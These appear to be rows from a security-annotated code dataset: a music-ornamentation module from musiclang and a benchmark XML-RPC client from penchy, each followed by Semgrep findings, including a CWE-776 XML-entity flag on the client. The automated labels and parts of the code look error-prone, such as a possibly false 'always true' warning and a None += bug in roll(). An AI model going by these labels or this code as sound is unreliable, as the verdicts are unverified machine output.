evaluations_path = os.path.join(data_path, 'evaluations')
force_simulation = False # If true the simulation will be forced to run again
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} | 2.84375 | stackv2 | from fractions import Fraction as frac
import musiclang.library as L
def realize_tags(note, last_note=None, next_note=None):
"""
Given the tags of a given note returns a new melody with the realized tags
Parameters
----------
note
last_note
next_note
Returns
-------
"""
import musiclang.library as L
new_note = note.copy()
duration = note.duration
if 'accent' in note.tags:
new_note = accent(new_note, last_note, next_note)
if 'mordant' in note.tags:
new_note = mordant(new_note, last_note, next_note)
if 'inv_mordant' in note.tags:
new_note = inv_mordant(new_note, last_note, next_note)
if 'chroma_mordant' in note.tags:
new_note = chroma_mordant(new_note, last_note, next_note)
if 'inv_chroma_mordant' in note.tags:
new_note = inv_chroma_mordant(new_note, last_note, next_note)
if 'grupetto' in note.tags:
new_note = grupetto(new_note, last_note, next_note)
if 'inv_grupetto' in note.tags:
new_note = inv_grupetto(new_note, last_note, next_note)
if 'chroma_grupetto' in note.tags:
new_note = chroma_grupetto(new_note, last_note, next_note)
if 'inv_chroma_grupetto' in note.tags:
new_note = inv_chroma_grupetto(new_note, last_note, next_note)
if 'roll' in note.tags:
new_note = roll(new_note, last_note, next_note)
if 'roll_fast' in note.tags:
new_note = roll_fast(new_note, last_note, next_note)
if 'suspension_prev' in note.tags:
new_note = suspension(new_note, last_note, next_note)
if 'suspension_prev_repeat' in note.tags:
new_note = suspension_prev_repeat(new_note, last_note, next_note)
if 'retarded' in note.tags:
new_note = retarded(new_note, last_note, next_note)
if 'interpolate' in note.tags:
new_note = interpolate(new_note, last_note, next_note)
assert new_note.duration == note.duration, f"{new_note} {new_note.duration} {note.duration} {note.tags}"
new_note = new_note.clear_note_tags()
return new_note
def accent(new_note, last_note, next_note):
new_note.amp = min(120, new_note.amp + 10)
return new_note
def mordant(new_note, last_note, next_note):
duration = new_note.duration
mordant_duration = frac(1, 4)
if duration >= frac(1, 2):
new_note = new_note.set_duration(mordant_duration) + L.su1.set_duration(
mordant_duration) + new_note.set_duration(new_note.duration - 2 * mordant_duration)
return new_note
def inv_mordant(new_note, last_note, next_note):
duration = new_note.duration
mordant_duration = frac(1, 4)
if duration >= frac(1, 2):
new_note = new_note.set_duration(mordant_duration) + L.sd1.set_duration(
mordant_duration) + new_note.set_duration(new_note.duration - 2 * mordant_duration)
return new_note
def chroma_mordant(new_note, last_note, next_note):
duration = new_note.duration
mordant_duration = frac(1, 4)
if duration >= frac(1, 2):
new_note = new_note.set_duration(mordant_duration) + L.hu1.set_duration(
mordant_duration) + new_note.set_duration(new_note.duration - 2 * mordant_duration)
return new_note
def inv_chroma_mordant(new_note, last_note, next_note):
duration = new_note.duration
mordant_duration = frac(1, 4)
if duration >= frac(1, 2):
new_note = new_note.set_duration(mordant_duration) + L.hd1.set_duration(
mordant_duration) + new_note.set_duration(new_note.duration - 2 * mordant_duration)
return new_note
def grupetto(new_note, last_note, next_note):
duration = new_note.duration
if duration >= frac(1):
mordant_duration = frac(1, 2)
new_note = new_note.n + L.su1.set_duration(mordant_duration) + new_note.set_duration(mordant_duration) \
+ L.sd1.set_duration(mordant_duration) + L.su1.set_duration(duration - 3 * mordant_duration)
elif duration >= frac(1, 2):
mordant_duration = frac(2, 3) * frac(1, 4)
new_note = new_note.n + L.su1.set_duration(mordant_duration) + new_note.set_duration(mordant_duration) \
+ L.sd1.set_duration(mordant_duration) + L.su1.set_duration(duration - 3 * mordant_duration)
return new_note
def inv_grupetto(new_note, last_note, next_note):
duration = new_note.duration
mordant_duration = frac(2, 3) * frac(1, 4)
if duration >= frac(1, 2):
new_note = new_note.n + L.sd1.set_duration(mordant_duration) + new_note.set_duration(mordant_duration) \
+ L.su1.set_duration(mordant_duration) + L.sd1.set_duration(duration - 3 * mordant_duration)
return new_note
def chroma_grupetto(new_note, last_note, next_note):
duration = new_note.duration
mordant_duration = frac(2, 3) * frac(1, 4)
if duration >= frac(1, 2):
new_note = new_note.n + L.hu1.set_duration(mordant_duration) + new_note.set_duration(mordant_duration) \
+ L.hd1.set_duration(mordant_duration) + L.hu1.set_duration(duration - 3 * mordant_duration)
return new_note
def inv_chroma_grupetto(new_note, last_note, next_note):
duration = new_note.duration
mordant_duration = frac(2, 3) * frac(1, 4)
if duration >= frac(1, 2):
new_note = new_note.n + L.hd1.set_duration(mordant_duration) + new_note.set_duration(mordant_duration) \
+ L.hu1.set_duration(mordant_duration) + L.hd1.set_duration(duration - 3 * mordant_duration)
return new_note
def roll(new_note, last_note, next_note):
duration = new_note.duration
mordant_duration = frac(1, 4)
nb_rolls = int(duration / mordant_duration)
melody = None
for i in range(nb_rolls):
if (i % 2) == 0:
melody += new_note.set_duration(mordant_duration)
else:
melody += L.su1.set_duration(mordant_duration)
if nb_rolls != (duration / mordant_duration):
melody += L.l(duration - nb_rolls * mordant_duration)
new_note = melody
return new_note
def roll_fast(new_note, last_note, next_note):
duration = new_note.duration
mordant_duration = frac(1, 6)
nb_rolls = int(duration / mordant_duration)
melody = None
for i in range(nb_rolls):
if (i % 2) == 0:
melody += new_note.set_duration(mordant_duration)
else:
melody += L.su1.set_duration(mordant_duration)
if nb_rolls != (duration / mordant_duration):
melody += L.l(duration - nb_rolls * mordant_duration)
new_note = melody
return new_note
def suspension(new_note, last_note, next_note):
duration = new_note.duration
if last_note:
new_note = L.l.set_duration(duration / 2) + new_note.set_duration(duration / 2)
return new_note
def suspension_prev_repeat(new_note, last_note, next_note):
duration = new_note.duration
if last_note:
new_note = last_note.set_duration(duration / 2) + new_note.set_duration(duration / 2)
return new_note
def retarded(new_note, last_note, next_note):
duration = new_note.duration
retarded_duration = frac(1, 12)
new_note = L.l.set_duration(retarded_duration) + new_note.set_duration(duration - retarded_duration)
return new_note
def interpolate(new_note, last_note, next_note):
"""
Interpolate note of the scale between current note and next_note
Parameters
----------
new_note: Current note to modify
last_note: Previous note in the melody
next_note: Next note in the melody
Returns
-------
"""
from musiclang import Note
if next_note is None or not next_note.is_note or not new_note.is_note:
return new_note
first_val = new_note.val if new_note.type == 's' else int(7 * new_note.val/12)
first_val += 7 * new_note.octave
second_val = next_note.val if next_note.type == 's' else int(7 * next_note.val / 12)
second_val += 7 * next_note.octave
delta_scale = second_val - first_val
if delta_scale == 0:
return new_note
duration = frac(new_note.duration, int(abs(delta_scale)))
up = delta_scale > 0
temp_note = L.su1.set_duration(duration) if up else L.sd1.set_duration(duration)
melody = None
for i in range(first_val, second_val, 1 if up else -1):
if i == first_val:
melody += new_note.set_duration(duration)
else:
melody += temp_note
melody = melody.set_amp(new_note.amp)
return melody
| 243 | 33.87 | 112 | 16 | 2,257 | python | [{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_9ad4d069e9defddb_a7e1d51e", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_note\" a function or an attribute? If it is a function, you may have meant next_note.is_note() because next_note.is_note is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 221, "line_end": 221, "column_start": 33, "column_end": 50, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/9ad4d069e9defddb.py", "start": {"line": 221, "col": 33, "offset": 7624}, "end": {"line": 221, "col": 50, "offset": 7641}, "extra": {"message": "Is \"is_note\" a function or an attribute? If it is a function, you may have meant next_note.is_note() because next_note.is_note is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_9ad4d069e9defddb_77b6bbda", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_note\" a function or an attribute? If it is a function, you may have meant new_note.is_note() because new_note.is_note is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 221, "line_end": 221, "column_start": 58, "column_end": 74, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/9ad4d069e9defddb.py", "start": {"line": 221, "col": 58, "offset": 7649}, "end": {"line": 221, "col": 74, "offset": 7665}, "extra": {"message": "Is \"is_note\" a function or an attribute? If it is a function, you may have meant new_note.is_note() because new_note.is_note is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"",
""
] | [
"rules.python.lang.maintainability.is-function-without-parentheses",
"rules.python.lang.maintainability.is-function-without-parentheses"
] | [
"maintainability",
"maintainability"
] | [
"MEDIUM",
"MEDIUM"
] | [
"MEDIUM",
"MEDIUM"
] | [
221,
221
] | [
221,
221
] | [
33,
58
] | [
50,
74
] | [
"",
""
] | [
"Is \"is_note\" a function or an attribute? If it is a function, you may have meant next_note.is_note() because next_note.is_note is always true.",
"Is \"is_note\" a function or an attribute? If it is a function, you may have meant new_note.is_note() because new_note.is_note is always true."
] | [
5,
5
] | [
"",
""
] | [
"",
""
] | ornementation.py | /musiclang/write/ornementation.py | MusicLang/musiclang | BSD-2-Clause | |
2024-11-18T18:40:01.906695+00:00 | 1,522,405,345,000 | e9bb616b98d0614b0eceee8a84515fdc17bddb51 | 3 | {
"blob_id": "e9bb616b98d0614b0eceee8a84515fdc17bddb51",
"branch_name": "refs/heads/master",
"committer_date": 1522405345000,
"content_id": "01be7501f6c6c25d33ded3c68566b9e3bd415d1b",
"detected_licenses": [
"MIT"
],
"directory_id": "e2f9d4359c547c42373157e691ab40ad3cd947c5",
"extension": "py",
"filename": "client.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2811,
"license": "MIT",
"license_type": "permissive",
"path": "/penchy/client.py",
"provenance": "stack-edu-0054.json.gz:570240",
"repo_name": "fhirschmann/penchy",
"revision_date": 1522405345000,
"revision_id": "6d179f60500ecd49ee1e736800a3f0a0f4425b3f",
"snapshot_id": "50e2edae4255c09a567927abf36334672ed99508",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/fhirschmann/penchy/6d179f60500ecd49ee1e736800a3f0a0f4425b3f/penchy/client.py",
"visit_date": "2020-06-30T03:04:45.028919"
} | 2.53125 | stackv2 | """
Executes benchmarks and filters generated data.
.. moduleauthor:: Fabian Hirschmann <fabian@hirschmann.email>
:copyright: PenchY Developers 2011-2012, see AUTHORS
:license: MIT License, see LICENSE
"""
import logging
import xmlrpclib
import signal
from penchy.util import load_config, load_job
from penchy.log import configure_logging
log = logging.getLogger(__name__)
class Client(object):
"""
This class represents a client which executes a job
and sends the results to the server.
"""
def __init__(self, job, config, identifier, loglevel=logging.INFO):
"""
:param args: arguments; this would normally be :class:`sys.argv`
:type args: list
"""
self.config = load_config(config)
job_module = load_job(job)
self.identifier = identifier
configure_logging(loglevel, logfile='penchy.log')
self.job = job_module.job
self.job.filename = job_module.__file__
self.proxy = xmlrpclib.ServerProxy('http://%s:%s/' % \
(self.config.SERVER_HOST, self.config.SERVER_PORT))
self._current_composition = None
signal.signal(signal.SIGHUP, self._signal_handler)
def _signal_handler(self, signum, frame):
"""
Handles signals sent to this process.
:param signum: signal number as defined in the ``signal`` module
:type signum: int
:param frame: execution frame
:type frame: frame object
"""
log.info('Received signal %s' % signum)
if signum == signal.SIGHUP:
self.send_signal_to_composition(signal.SIGKILL)
def send_signal_to_composition(self, signum):
"""
Send signal ``signum`` to the composition which is currently running.
:param signum: signal number as defined in the ``signal`` module
:type signum: int
"""
if self._current_composition:
if self._current_composition.jvm.proc:
if self._current_composition.jvm.proc.returncode is None:
self._current_composition.jvm.proc.send_signal(signum)
log.error('Current composition timed out and was terminated')
def run(self):
"""
Runs the client.
"""
self.job.send = self.proxy.rcv_data
for composition in self.job.compositions_for_node(self.identifier):
try:
self._current_composition = composition
composition.set_timeout_function(self.proxy.set_timeout)
self.job.run(composition)
self._current_composition = None
except Exception as err:
log.exception('Exception occured while executing PenchY:')
self.proxy.report_error(composition.hash(), err)
| 85 | 32.07 | 81 | 18 | 596 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xmlrpc_a8b0193252d4b618_cd7a20d5", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xmlrpc", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected use of xmlrpc. xmlrpc is not inherently safe from vulnerabilities. Use defusedxml.xmlrpc instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 11, "line_end": 11, "column_start": 1, "column_end": 17, "code_snippet": "requires login"}, "cwe_id": "CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://pypi.org/project/defusedxml/", "title": null}, {"url": "https://docs.python.org/3/library/xml.html#xml-vulnerabilities", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xmlrpc", "path": "/tmp/tmpb8jm_z1l/a8b0193252d4b618.py", "start": {"line": 11, "col": 1, "offset": 227}, "end": {"line": 11, "col": 17, "offset": 243}, "extra": {"message": "Detected use of xmlrpc. xmlrpc is not inherently safe from vulnerabilities. Use defusedxml.xmlrpc instead.", "metadata": {"cwe": ["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')"], "owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "source-rule-url": "https://github.com/PyCQA/bandit/blob/07f84cb5f5e7c1055e6feaa0fe93afa471de0ac3/bandit/blacklists/imports.py#L160", "references": ["https://pypi.org/project/defusedxml/", "https://docs.python.org/3/library/xml.html#xml-vulnerabilities"], "category": "security", "technology": ["python"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-776"
] | [
"rules.python.lang.security.use-defused-xmlrpc"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
11
] | [
11
] | [
1
] | [
17
] | [
"A04:2017 - XML External Entities (XXE)"
] | [
"Detected use of xmlrpc. xmlrpc is not inherently safe from vulnerabilities. Use defusedxml.xmlrpc instead."
] | [
7.5
] | [
"LOW"
] | [
"MEDIUM"
] | client.py | /penchy/client.py | fhirschmann/penchy | MIT |
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